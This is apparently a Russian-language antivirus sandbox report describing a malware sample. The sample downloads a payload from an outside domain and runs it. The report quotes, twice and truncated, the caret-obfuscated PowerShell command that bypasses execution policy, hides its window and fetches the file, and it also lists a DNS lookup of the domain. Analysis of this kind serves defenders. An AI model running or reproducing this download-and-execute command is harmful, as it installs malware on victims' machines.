Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://flowers-my.wang/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "p^OWe^rshELl^.^ex^E^ ^-EXE^C^UtIONpOl^i^cY^ byPA^Ss -NOProF^iLe -Wi^N^D^OwstyLe hiD^D^E^N (n^E^W-Obj^e^ct^ sY^StE^M^.^nET.w^eBclIen^T).D^OW^n^LoAD^fi^LE^('http://flowers-...
Сетевая активность
UDP
- DNS ASK fl###rs-my.wang
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "p^OWe^rshELl^.^ex^E^ ^-EXE^C^UtIONpOl^i^cY^ byPA^Ss -NOProF^iLe -Wi^N^D^OwstyLe hiD^D^E^N (n^E^W-Obj^e^ct^ sY^StE^M^.^nET.w^eBclIen^T).D^OW^n^LoAD^fi^LE^('http://flowers-...' (со скрытым окном)
